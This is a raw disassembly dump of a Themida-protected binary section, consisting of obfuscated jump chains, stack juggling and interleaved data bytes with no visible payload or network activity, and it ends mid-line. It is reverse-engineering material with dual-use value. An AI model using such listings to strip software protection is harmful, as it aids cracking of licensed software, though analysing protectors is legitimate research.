pop ebp jmp loc_557891 ; --------------------------------------------------------------------------- dd 0BB241C89h, 2, 0FFFA9CE9h, 0E9525CFFh, 0FFFF8B54h, 4245401h dd 4246C81h, 4BF00F71h, 2434FF5Ah db 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebp mov ebp, 3BEB517Eh add ebp, 1CE86C00h push esi jmp loc_5455A6 ; --------------------------------------------------------------------------- db 1 dd 60E95EF0h db 8Fh, 2 dup(0) byte_54D20B db 0FFh ; DATA XREF: Themida_:00543200o a4SG db '4$И-ё',0 dw 3100h dd 14332414h, 7850E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D21E: ; CODE XREF: Themida_:0054B61Aj not esi xchg esi, edx xchg edx, [esp] mov eax, [esp] sub esp, 4 mov [esp], esi mov esi, esp push ecx mov ecx, 628E32A5h not ecx inc ecx sub ecx, 27E05C4Eh xor ecx, 75FC45C9h push edx mov edx, 441F67DFh jmp loc_5504C1 ; --------------------------------------------------------------------------- loc_54D250: ; CODE XREF: Themida_:0054C1EFj mov esp, [esp] shr ecx, 6 push 3C06h mov [esp], ebp push 0F86h mov [esp], ebx jmp loc_54B0C8 ; --------------------------------------------------------------------------- byte_54D26B db 0FFh ; DATA XREF: Themida_:0054307Co dd 57582434h, 0FFCF3DE9h, 8BED80FFh, 0D007EDC0h, 19C580E5h dd 8059EB28h, 34FF49EBh, 0C4835924h, 0E9CB2804h, 0D0Eh dd 4C481h, 0E9530000h, 0FFFFA002h, 281BE980h, 1BC180D1h dd 0FF77C1E9h, 242489FFh, 4BA52h, 54010000h, 0FF5A0424h dd 815E2434h, 4C4h, 85E95200h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D2CB: ; CODE XREF: Themida_:0054B0B9j pop edx add esp, 4 push edx jmp loc_552B7C ; --------------------------------------------------------------------------- loc_54D2D8: ; CODE XREF: Themida_:0054FA6Dj xor edx, esi pop esi add ecx, 461078C0h add ecx, 41670E80h jmp loc_557953 ; --------------------------------------------------------------------------- loc_54D2EC: ; CODE XREF: Themida_:0054F96Cj add ecx, edx jmp loc_55774E ; --------------------------------------------------------------------------- db 5Eh dd 8704C283h, 585C2414h, 22E9F130h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D303: ; CODE XREF: Themida_:0054A5F1j sub ebp, 2FC66DAEh jmp loc_554C69 ; --------------------------------------------------------------------------- dw 0C483h dd 4C08304h, 8B240487h, 48F2424h, 861BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D322: ; CODE XREF: Themida_:0054739Ej sub dl, al sub dl, 8Ch pop eax shl dl, 8 shr dl, 8 jmp loc_553180 ; --------------------------------------------------------------------------- db 5Ch dd 54241489h, 0FFBC9DE9h, 0E9C141FFh, 0AD89E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D346: ; CODE XREF: Themida_:00554E42j mov [esp], eax mov eax, esp sub esp, 4 mov [esp], ebx push ebp push eax mov eax, 32942C47h jmp loc_54EBE7 ; --------------------------------------------------------------------------- db 0F7h, 0D5h, 81h dd 5A3541C5h, 0F5814D36h, 0B23F82CEh, 0E95DE801h, 0FFFF7ECAh dd 0E8FFE981h, 0CA3181EEh, 81240C8Bh, 4C4h, 5AD72100h dd 5854E9h, 32CA8100h, 81120509h, 626572F2h, 0E9D301ADh dd 4129h ; --------------------------------------------------------------------------- loc_54D3A0: ; CODE XREF: Themida_:0054CA41j push ecx mov ecx, 3B42554Fh sub ecx, 0AAB71D4h add ecx, 4EB77DB4h push esi mov esi, 75D01C98h or ecx, esi mov esi, [esp] add esp, 4 inc ecx jmp loc_544FDB ; --------------------------------------------------------------------------- dw 0C381h dd 4B95D85h, 1DE9C301h db 7Dh, 2 dup(0) byte_54D3D3 db 66h ; DATA XREF: Themida_:00542FE0o dd 6824048Bh, 742Ch, 0A5B8E9h db 0 byte_54D3E1 db 8Bh, 2 dup(24h) ; DATA XREF: Themida_:0054314Co dd 28F8E9h db 0 byte_54D3E9 db 0ACh ; DATA XREF: Themida_:0054313Co ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_553B49 ; --------------------------------------------------------------------------- dw 0EA81h dd 32251DB8h, 56A7F281h, 89513CA9h, 59CB89D1h, 826DE9h dd 5E8DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D40E: ; CODE XREF: Themida_:005552ADj mov [esp], ebp pop ebx pop ebp sub eax, 19FF785Fh sub eax, 422A7250h jmp loc_54FEB7 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48124h, 56000000h, 6D7EC8BEh, 9400E924h, 0C6810000h dd 4, 5604C683h, 42474FFh, 24048F5Eh, 0FFFD7CE9h, 6EEC1FFh dd 0EE81DEF7h, 6B7A75F6h, 63D6B951h, 0F7490354h, 0E9D9F7D1h dd 5A4Ch, 74FAE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D46E: ; CODE XREF: Themida_:00550D07j mov eax, 80048146h mov edi, eax jmp loc_556136 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 7F7EE9h, 24043100h, 0FFB40CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D48D: ; CODE XREF: Themida_:00545414j xchg ecx, [esp] mov esp, [esp] push 24B4h mov [esp], edi sub esp, 4 mov [esp], esi push edi push 1A0E297Fh jmp loc_549742 ; --------------------------------------------------------------------------- loc_54D4AC: ; CODE XREF: Themida_:0054490Cj pop ecx mov eax, [esp] add esp, 4 mov ebp, [esp] push 5C56h mov [esp], edx push esp pop edx push 488Dh jmp loc_5453E4 ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 81h dd 0C42FE5E3h, 0D0EB8144h, 0F71FD310h, 96C381D3h, 0E924ED13h dd 0FFFF750Eh, 0C381EB01h, 307C18FBh, 0FF73CEE9h, 89535CFFh dd 0DAE951E3h, 5F000076h, 31A1EA81h, 0D0011974h, 8B2434FFh dd 0C4832414h, 4C48104h, 83000000h, 0AEE904ECh db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D51F: ; CODE XREF: Themida_:0054A791j push 1EFCh mov [esp], edx push 40h jmp loc_554C24 ; --------------------------------------------------------------------------- db 2Dh, 0B2h, 80h dd 0C3013AF8h, 20F5E958h, 0CB010000h, 4BA5259h, 0E9000000h dd 1C9Eh, 5304C483h, 0FFDEB2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D555: ; CODE XREF: Themida_:005515A5j dec edi shl edi, 5 sub edi, 76C182BCh add esi, edi pop edi xchg esi, [esp] pop esp jmp loc_54D860 ; --------------------------------------------------------------------------- loc_54D56B: ; CODE XREF: Themida_:0055110Ej add ecx, 48B004D3h jmp loc_5447FB ; --------------------------------------------------------------------------- dw 0F381h dd 639A73FEh, 452BE9h, 2EFC000h, 5266D7F6h, 0F7205CB6h dd 5CE95A66h, 31FFFFE5h, 242C8BEFh, 0FF712EE9h, 2B685DFFh dd 89000017h, 0BE682434h, 0FF290742h, 0E95E2434h, 2110h ; --------------------------------------------------------------------------- loc_54D5B4: ; CODE XREF: Themida_:0054E700j sub esi, 20005AC1h add esi, eax jmp loc_54EA67 ; --------------------------------------------------------------------------- db 81h, 0E3h, 1Ch dd 0C1440E68h, 0F38103EBh, 8002h, 388D301h, 2434FF5Bh dd 9D40E9h, 6DD76800h, 4890000h, 6C2BB824h, 0E952715Bh dd 0FFFF7E95h ; --------------------------------------------------------------------------- loc_54D5F0: ; CODE XREF: Themida_:00548387j pop ebp jmp loc_556620 ; --------------------------------------------------------------------------- loc_54D5F6: ; CODE XREF: Themida_:00554AD6j sub esi, 0F4F01EAh push edx push esi pop edx mov esi, [esp] add esp, 4 mov esi, [esp] jmp loc_54E1BD ; --------------------------------------------------------------------------- loc_54D610: ; CODE XREF: Themida_:0054E0C8j mov [esp], ebx jmp loc_5537A5 ; --------------------------------------------------------------------------- dd 0EFC1D7F7h, 35EF8103h, 108D87Fh, 51555FFBh, 5B1BA0B9h dd 4E9C159h, 3DC98141h, 0E905F077h, 110Fh, 4240481h, 59000000h dd 4BD55h, 0C1810000h, 3D1050C7h, 0BA52E901h, 33B60927h dd 3534EA81h, 8CE956D4h, 89000012h, 0EEBD242Ch, 0E96F470Ah dd 0FFFFAD53h ; --------------------------------------------------------------------------- loc_54D670: ; CODE XREF: Themida_:005480B0j sub esi, ecx jmp loc_54A2A6 ; --------------------------------------------------------------------------- loc_54D677: ; CODE XREF: Themida_:00554C28j push ebp jmp loc_549647 ; --------------------------------------------------------------------------- db 0B9h, 0C0h, 25h dd 0F7E93641h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D687: ; CODE XREF: Themida_:0054665Bj sub edi, 122A15E5h push 2803h mov [esp], eax sub esp, 4 mov [esp], ebx jmp loc_550092 ; --------------------------------------------------------------------------- dd 4EC8158h, 89000000h, 0E3BB241Ch, 29A3FE9Eh, 30E95BDFh dd 0F6FFFF78h, 0E9DE86D3h, 0FFFFF0F9h, 15DBEB81h, 0F3811C1Bh dd 0E0C3DD47h, 14A8E9h, 5E545600h, 4BD55h, 0EE010000h dd 50242C8Bh, 66AFE954h, 0C981FFFFh, 7BEF33C0h, 0F181D1F7h dd 733837FAh, 0F703E9C1h, 8CF181D9h, 9E96AE3h, 0DAF759CAh dd 5581E9h, 0FB015D00h, 23E3815Fh, 5302E739h, 0E9240CFFh dd 94B6h ; --------------------------------------------------------------------------- loc_54D71C: ; CODE XREF: Themida_:0054EDBCj mov ebx, 24h add ebx, edi mov [ebx], esi mov ebx, [esp] add esp, 4 mov esi, [esp] add esp, 4 pop eax not dword ptr [edi+24h] push ecx mov ecx, 7B7502CEh sub [edi+24h], ecx mov ecx, [esp] add esp, 4 push 8C7h mov [esp], ebp mov ebp, 38404959h sub [edi+24h], ebp pop ebp add dword ptr [edi+24h], 0B3B7520h push esi mov esi, 66343F6Bh push 7E5Ch mov [esp], edx jmp loc_553909 ; --------------------------------------------------------------------------- dw 3C8Bh dd 0A60BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D77A: ; CODE XREF: Themida_:0054FECAj add ebx, 7D5C688Ch shl ebx, 4 push 0 sub [esp], ebx pop ebx inc ebx push edx mov edx, 45408803h add ebx, edx pop edx jmp loc_54CA30 ; --------------------------------------------------------------------------- loc_54D79B: ; CODE XREF: Themida_:0054D0BBj pop esp shr eax, 0Ah xor eax, ecx push 3AD5h mov [esp], eax not dword ptr [esp] jmp loc_549F8B ; --------------------------------------------------------------------------- db 31h, 3Ch, 24h dd 8B243C33h, 83512424h, 0BDE904ECh, 58FFFFB9h, 4EC81h dd 0C890000h, 4B924h, 26E90000h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D7D7: ; CODE XREF: Themida_:0054985Ej mov esi, 2 jmp loc_55394B ; --------------------------------------------------------------------------- loc_54D7E1: ; CODE XREF: Themida_:0054C573j push edx mov edx, 0 add edx, ecx jmp loc_5557D1 ; --------------------------------------------------------------------------- dw 15Dh dd 5908244Ch, 0FF7597E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D7F9: ; CODE XREF: Themida_:0054D9A0j mov esi, 7F125081h shl esi, 6 jmp loc_555442 ; --------------------------------------------------------------------------- dw 2C29h dd 0D5F75D24h, 1C581h, 72680000h, 8900006Eh, 0FBB82404h dd 355BF623h, 0FF21FE11h, 0FF5F1BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D829: ; CODE XREF: Themida_:005504E5j shr ecx, 0Ah jmp loc_551341 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0E904C483h, 8E4h, 28ACED80h, 240C8BEBh, 8004C483h, 0E32842EBh dd 8042C380h, 0DAE9B0C3h db 3 dup(0FFh) byte_54D857 db 66h ; DATA XREF: Themida_:00543124o dd 0E924048Bh, 0FFFF840Dh ; --------------------------------------------------------------------------- loc_54D860: ; CODE XREF: Themida_:0054D566j sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push edx mov edx, 70BB3992h or edx, 256C62FFh jmp loc_54A1FD ; --------------------------------------------------------------------------- db 1 dd 54DFE9F1h, 0F3890000h, 6EBC15Eh, 4F4BC381h, 0EBC147A7h dd 926AE907h db 2 dup(0) word_54D89A dw 8B66h ; DATA XREF: Themida_:00543048o dd 5E68240Ch, 0E9000009h, 6F01h, 0A3685155h, 0E95D9E6Eh dd 3B71h ; --------------------------------------------------------------------------- loc_54D8B4: ; CODE XREF: Themida_:00549AA3j push edi mov edi, 14577FC3h sub edx, edi pop edi jmp loc_54C1DA ; --------------------------------------------------------------------------- dw 0CF89h dd 0E9DFF759h, 0FFFFA03Bh, 670DCEBBh, 5FFB2977h, 875BDE01h dd 0F8E92434h, 1FFFFF6h, 0BE565DE8h, 4, 0FFAB6CE9h, 4BFFFh dd 8BE90000h, 5FFFF8Eh, 4156099h, 0A0DBE9h db 0 ; --------------------------------------------------------------------------- loc_54D901: ; CODE XREF: Themida_:005559F0j mov ecx, edx jmp loc_553E33 ; --------------------------------------------------------------------------- aXsie db '∙ИiE',0 align 2 dw 405h dd 51000000h, 4B9h, 9A71E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D91E: ; CODE XREF: Themida_:0054A707j add edx, 0A01AE59Bh add edx, 3C486EAFh xor eax, edx jmp loc_54E6A4 ; --------------------------------------------------------------------------- loc_54D931: ; CODE XREF: Themida_:00546BA7j pop ecx mov al, bh pop ebx sub esp, 4 mov [esp], ecx mov ch, al mov bh, ch mov ecx, [esp] jmp loc_5450B4 ; --------------------------------------------------------------------------- loc_54D94A: ; CODE XREF: Themida_:00543BD5j mov eax, 619E3833h add eax, 0FFFFFFFFh jmp loc_54BA81 ; --------------------------------------------------------------------------- loc_54D959: ; CODE XREF: Themida_:00555891j push 75F3h mov [esp], ecx jmp loc_55080F ; --------------------------------------------------------------------------- aXvicsvs db 'XV┴ФИv▒',0 dw 5800h dd 2803C280h, 3EA80DAh, 880FE9h, 2434FF00h, 0FF9E67E9h dd 3C8668FFh, 7DE90000h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D98F: ; CODE XREF: Themida_:00555661j xor edx, [esp] pop esp pop edx jmp loc_54329B ; --------------------------------------------------------------------------- loc_54D999: ; CODE XREF: Themida_:00551742j add esp, 4 push esi jmp loc_54D7F9 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 4BB0F66h, 0E8E99C24h, 80FFFF58h, 0E7009AEFh, 669AC780h dd 7EFC058h, 8000EF80h, 0FE28B3C6h, 8BB3EE80h, 0D3E9241Ch db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D9D3: ; CODE XREF: Themida_:005536FDj sub [esp], edi pop edi push eax mov eax, 5F0A45B8h inc eax jmp loc_545A3B ; --------------------------------------------------------------------------- loc_54D9E3: ; CODE XREF: Themida_:00543E7Bj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp or eax, eax jz loc_54BE44 push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 push 3C0Ah mov [esp], edx push ebx mov ebx, esp push esi mov esi, 4A232E73h xor esi, 23366199h neg esi jmp loc_553C2F ; --------------------------------------------------------------------------- db 0B4h dd 5BDC2854h, 0FE08ECC0h, 0F7C480C4h, 458E728h, 28450421h dd 66452CF8h, 4EC8151h, 89000000h, 0CEB22414h, 0FEB6B450h dd 2E4C0CCh, 0FE10EC80h, 8EC480C4h, 8058E188h, 0D100CAC1h dd 0E9CAE980h, 576Fh dword_54DA70 dd 0B60F6664h, 0E3895302h, 17F9BF57h, 0F7812F97h, 2F9717FDh ; DATA XREF: Themida_:005431F4o dd 3C8BFB01h, 775FE924h, 1C870000h, 2C895C24h, 20056824h dd 515D602Dh, 69323FB9h, 1C87511Fh, 87D3F724h, 8159241Ch dd 0BA4B68E9h, 0DCC1815Bh, 3193BF8Ch, 5D17E9CDh, 0DA880000h dd 0D328585Bh, 8324148Bh, 0C8904ECh, 81E18924h, 4C1h, 4C18300h dd 31240C33h, 0C33240Ch, 0B60F5C24h, 936866C0h, 4896604h dd 57A9E924h, 5D68FFFFh, 5A60CA16h, 1DF2F281h, 45E93227h dd 5FFFFFAEh, 4C781h, 0EEE90000h, 54FFFFC7h db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 4E86h mov [esp], edx sub esp, 4 mov [esp], ebp push 1A8801C7h pop ebp and ebp, 194F20CFh sub ebp, 0EEA5A065h mov edx, ebp pop ebp jmp loc_546953 ; --------------------------------------------------------------------------- db 8Bh dd 0C481240Ch, 4, 0FF76ACE9h, 6268B9FFh, 2EE932AEh, 5AFFFFC2h dd 0E516BF05h, 0FE140569h, 8EE9CB9Dh db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DB73: ; CODE XREF: Themida_:0054AE88j sub edx, ecx sub edx, 4FF318CEh mov ecx, [esp] jmp loc_54E2E7 ; --------------------------------------------------------------------------- aWb4Ve db 'W│4$vE',0 dw 8B42h dd 0C4832404h, 45763504h, 815F4200h, 0BF042444h, 811FC11Fh dd 0F004246Ch, 157BD64h, 81042444h, 0F0042444h, 6857BD64h dd 1F42h, 0BE243489h, 1FC11FBFh, 8244481h, 6B396208h, 8247429h dd 8246C81h, 6B396208h, 0C3E9585Eh db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DBDB: ; CODE XREF: Themida_:00556BE0j sub esi, 0AA32F775h sub ebx, esi pop esi add edi, ebx push dword ptr [esp] pop ebx add esp, 4 sub esp, 4 jmp loc_5501CD ; --------------------------------------------------------------------------- loc_54DBF8: ; CODE XREF: Themida_:0054B0CFj push dword ptr [esp] pop ebp add esp, 4 push edx mov edx, 11CC3FB2h jmp loc_55105C ; --------------------------------------------------------------------------- dw 487h dd 34895C24h, 4EC8324h, 24048F54h, 0A5BCE956h, 0E95FFFFFh dd 6F52h, 89242C89h, 4C581E5h, 0E9000000h, 0FFFF8180h ; --------------------------------------------------------------------------- loc_54DC34: ; CODE XREF: Themida_:00555DF2j add ebp, 4 xchg ebp, [esp] pop esp mov ebx, edx pop edx add eax, ebx pop ebx jmp loc_5531CA ; --------------------------------------------------------------------------- word_54DC46 dw 34FFh ; DATA XREF: Themida_:00543250o aS_6 db '$Ир-',0 align 2 loc_54DC4E: ; CODE XREF: Themida_:005471EEj push ebx mov ebx, esp push eax push edi push 33153A32h mov edi, [esp] add esp, 4 inc edi jmp loc_54A5F6 ; --------------------------------------------------------------------------- dd 49FF58BEh, 5EF53128h, 41B6EA81h, 0EA012BD5h, 41B6C281h dd 335D2BD5h, 90E92414h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DC83: ; CODE XREF: Themida_:00550E76j xor edx, 0C4973455h add ebp, 63711506h add ebp, edx sub ebp, 63711506h mov edx, [esp] add esp, 4 xor esi, ebp pop ebp sub [edi+24h], esi push dword ptr [esp] jmp loc_5555C0 ; --------------------------------------------------------------------------- loc_54DCAB: ; CODE XREF: Themida_:00554217j shl edx, 1 jmp loc_54B00B ; --------------------------------------------------------------------------- aWHqubqc8H5d db 'W©╠h÷U│Оc8°&h5d',0 dw 0E900h dd 0FFFF7110h, 0E904C483h, 0FFFF6904h, 0C68098B6h, 80C62824h dd 0F65824EEh, 26B353DEh, 8D4F380h, 13E95BDEh db 75h, 2 dup(0FFh) byte_54DCEB db 66h ; DATA XREF: Themida_:00543064o dd 5124048Bh, 223868h, 24248900h, 4240481h, 59000000h dd 4EC81h, 0BDE90000h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DD0B: ; CODE XREF: Themida_:00553B4Fj push ebx mov ebx, 3A6227B5h sub ebx, 3A6227B1h sub ebp, ebx push dword ptr [esp] pop ebx add esp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebx mov bh, 64h add al, bh pop ebx add al, bl push 3B45h mov [esp], ecx mov cl, 9Bh shl cl, 8 not cl push 4A27h jmp loc_556C04 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 1CE9E389h, 80FFFF72h, 0D0286BEAh, 8124148Bh, 4C4h, 24148B00h dd 5304C483h, 4EC81h, 0C890000h, 4EC8324h, 0B4240489h dd 53D4F687h, 400B050h, 6E0C09Bh, 0F603E0C0h, 88D634D0h dd 0F38058C3h, 80D3F6C1h, 5BE966F3h, 89000099h, 54B9240Ch dd 0E9576717h, 0FFFF9E47h, 2414335Ch, 33241431h, 0E95C2414h dd 0FFFF54E3h, 0E9240433h, 0FFFF9DD0h ; --------------------------------------------------------------------------- loc_54DDC0: ; CODE XREF: Themida_:0054A941j mov edx, 4 add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] pop esp or ecx, 50F7099Fh sub ecx, 1 shr ecx, 6 push 68B2h jmp loc_5454DB ; --------------------------------------------------------------------------- db 0BFh, 0BAh, 6 aIBSSV db '╗}│олS+"И°V',0 db 0 ; --------------------------------------------------------------------------- loc_54DDF5: ; CODE XREF: Themida_:005439C5j dec ebx jmp loc_54E95B ; --------------------------------------------------------------------------- db 5Ch dd 0FFFF48E9h db 0FFh byte_54DE01 db 8Fh, 2, 0E9h ; DATA XREF: Themida_:0054315Co dd 98CAh, 70BA68h, 24048900h, 882CD8B0h, 0FFCC5EE9h, 4E883FFh dd 0FFFDE9E9h db 0FFh byte_54DE21 db 8Bh, 14h, 24h ; DATA XREF: Themida_:005430D4o aUha db 'Uh²%',0 align 2 dw 0EC81h dd 4, 83242489h, 8F042404h, 24E92404h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DE3F: ; CODE XREF: Themida_:00555096j mov [esp], edi xor dword ptr [esp], 20A9585Bh pop ebp xor ebp, 20A9585Bh jmp loc_551A60 ; --------------------------------------------------------------------------- loc_54DE55: ; CODE XREF: Themida_:005533A1j mov [esp], edi push 0E1478B6h pop edi add dword ptr [esp+4], 568211B9h add [esp+4], edi sub dword ptr [esp+4], 568211B9h pop edi pop dword ptr [edi+40h] sub dword ptr [edi+40h], 0E1478B6h push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] jmp loc_54C6EF ; --------------------------------------------------------------------------- loc_54DE8B: ; CODE XREF: Themida_:0054CF74j add edi, eax pop eax add ebp, 1EED4D5Bh jmp loc_55451F ; --------------------------------------------------------------------------- loc_54DE99: ; CODE XREF: Themida_:0054477Cj shr esi, 5 sub esp, 4 mov [esp], ebp mov ebp, 478E0517h push 57D0h mov [esp], edx jmp loc_556A25 ; --------------------------------------------------------------------------- db 81h dd 491ED6C3h, 3C3817Ah, 0FF1E0D45h, 51582434h, 0C181E189h dd 4, 4C181h, 0C870000h, 0AE95C24h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DEDF: ; CODE XREF: Themida_:00553E3Cj xor eax, 357D7C1Ah shl eax, 5 shr eax, 4 xor eax, 0EFAB824h jmp loc_55096A ; --------------------------------------------------------------------------- dd 0ADE9D988h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DEFB: ; CODE XREF: Themida_:00556A0Cj push 32AFh jmp loc_548AFA ; --------------------------------------------------------------------------- db 54h, 5Fh, 52h dd 0EA4069BAh, 3CE28133h, 50306E54h, 75B9BD55h, 0A1B81E57h dd 2DF11207h, 7116126Ch, 5E75E9h, 881FB200h, 0B0505AD7h dd 0C4B551EFh, 78A2E9h db 0 ; --------------------------------------------------------------------------- loc_54DF39: ; CODE XREF: Themida_:00544635j add edx, 55F279A0h mov ecx, [esp] add esp, 4 add eax, edx pop edx jmp loc_54EDC9 ; --------------------------------------------------------------------------- db 83h, 0C6h, 4 dd 5C243487h, 31243433h, 34332434h, 24248B24h, 240C8966h dd 0FF5332E9h db 0FFh aMGfrsskv db '╛,GfRSИ╙╒',0 ; DATA XREF: Themida_:00543018o align 4 dd 25E9C721h, 30FFFFF7h, 80C8E9EEh, 6C81FFFFh, 0D990824h dd 0B9515C7Ah, 7EBF754Eh, 0C244C29h, 6D27E959h, 0E6C00000h dd 0C81BE908h, 0C380FFFFh, 0F6C3807Ah, 593E9h db 0 ; --------------------------------------------------------------------------- loc_54DFAD: ; CODE XREF: Themida_:00547737j shr eax, 12h jmp loc_553762 ; --------------------------------------------------------------------------- loc_54DFB5: ; CODE XREF: Themida_:00552CD2j pop edi pop eax push esi mov esi, 41B34127h and esi, 599E617Fh jmp loc_54424D ; --------------------------------------------------------------------------- dd 5EF768h, 240C8900h, 0FFE9E189h, 87000056h, 895C240Ch dd 0EC812414h, 4, 24048F54h, 4240481h, 8B000000h, 0C4812414h dd 4, 4C281h, 0EC830000h, 0C0CCE904h, 0F66FFFFh, 5166C8B6h dd 5289E99Ch db 2 dup(0FFh) word_54E012 dw 8B66h ; DATA XREF: Themida_:005430C4o dd 0EC83240Ch, 24048904h, 0EC815854h, 4, 0BB241C89h, 0C861B66h dd 0D51FE943h, 0E689FFFFh, 4C681h, 0C6830000h, 24348704h dd 0E924248Bh, 4ABCh ; --------------------------------------------------------------------------- loc_54E048: ; CODE XREF: Themida_:00555A4Bj sub esp, 4 mov [esp], edi jmp loc_54617E ; --------------------------------------------------------------------------- dw 4BFh dd 1000000h, 5F04247Ch, 83242C8Bh, 21E904ECh, 66000069h dd 2827B551h, 805966EFh, 0DFF6E1E7h, 2861EF80h, 0B3535BFEh dd 0AFAAE90Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E086: ; CODE XREF: Themida_:00556829j xor ebx, 20103802h mov ecx, ebx jmp loc_545255 ; --------------------------------------------------------------------------- loc_54E093: ; CODE XREF: Themida_:0055276Dj inc ebx add ebx, 58855BEAh shl ebx, 1 shr ebx, 1 jmp loc_545CCD ; --------------------------------------------------------------------------- aS3 db '^И╥3',0 db 0 byte_54E0A9 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005431B8o dd 5224048Bh, 0C2815A54h, 4, 8704C283h, 6BE92414h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E0C3: ; CODE XREF: Themida_:005512B6j push 5C5Ah jmp loc_54D610 ; --------------------------------------------------------------------------- db 83h, 0C3h, 4 dd 1A8EE9h db 0 ; --------------------------------------------------------------------------- loc_54E0D5: ; CODE XREF: Themida_:005482F5j mov [esp], ecx push esp pop ecx add ecx, 4 push edx jmp loc_55420C ; --------------------------------------------------------------------------- dw 0CA89h dd 0E9D60159h, 0FFFF91C4h, 0E0C1D8F7h, 2DD8F708h, 676B0C7h dd 0FFC510E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E101: ; CODE XREF: Themida_:0054474Bj push ebp jmp loc_545E4D ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF518Fh, 4C6815Eh, 68000000h, 7DC9h, 0E9241C89h dd 0FFFFBAEFh, 4EC81h, 0C890000h, 8009E924h, 79B8FFFFh dd 0E96CD861h, 0FFFFA64Ch ; --------------------------------------------------------------------------- loc_54E138: ; CODE XREF: Themida_:00556127j mov ebp, esi jmp loc_549091 ; --------------------------------------------------------------------------- db 5Dh dd 0FFBC52E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E145: ; CODE XREF: Themida_:00545F5Ej sub bl, cl add bl, 0 pop ecx jmp loc_54351B ; --------------------------------------------------------------------------- loc_54E150: ; CODE XREF: Themida_:00545142j mov [esp], ebx jmp loc_556C0C ; --------------------------------------------------------------------------- loc_54E158: ; CODE XREF: Themida_:00553B80j pop ebp add edx, 3575F8FEh push ebx mov ebx, 5F686DE8h add eax, 10D528BFh jmp loc_54C734 ; --------------------------------------------------------------------------- db 0B9h dd 5D73542Dh, 0C981D1F7h, 10A77B40h, 0F701C183h, 1784E9D9h dd 0E9010000h, 4E9815Dh, 87000000h, 895C240Ch, 0DB68242Ch dd 5D417E68h, 748FE9h, 2474FF00h, 0FF95E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E1AA: ; CODE XREF: Themida_:00551CA3j pop eax add esp, 4 jmp loc_548EC0 ; --------------------------------------------------------------------------- db 0BAh dd 4, 0FFD1D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E1BD: ; CODE XREF: Themida_:0054D60Bj add esp, 4 jmp loc_54C24C ; --------------------------------------------------------------------------- loc_54E1C8: ; CODE XREF: Themida_:0054E860j sub edx, 0FFFFFFFFh xor edx, 0FC347A6Ch mov esi, edx jmp loc_544470 ; --------------------------------------------------------------------------- db 50h dd 42474FFh, 3488E958h, 0BF570000h, 28612AC3h, 5B5FFE01h dd 6E5170BBh, 28E2E970h, 0F5890000h, 7AE9515Eh, 81FFFFF4h dd 4C6h, 6235E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E20E: ; CODE XREF: Themida_:00553017j mov ebx, 849396FEh sub eax, ebx pop ebx push eax pop ebp pop eax add ebp, ebx pop ebx and ebx, ebp push dword ptr [esp] mov ebp, [esp] jmp loc_556296 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFEB21E9h, 241489FFh, 4EC81h, 24890000h, 24048324h dd 4FA1E904h, 0C3810000h, 4, 5C241C87h, 0FF5046E9h, 2434FFFFh dd 7437E95Eh, 0BA52FFFFh, 31104982h, 0FF6562E9h, 0FCBD55FFh dd 0E9636F2Ah, 9674h ; --------------------------------------------------------------------------- loc_54E274: ; CODE XREF: Themida_:00550D13j mov ebx, 0A0A2B0Bh and edi, ebx mov ebx, [esp] jmp loc_54ED32 ; --------------------------------------------------------------------------- db 5Ah dd 986E981h, 0E98177DEh, 60B93C46h, 0C181E901h, 60B93C46h dd 986C181h, 815D77DEh, 4C1h, 0C755E900h, 0C683FFFFh, 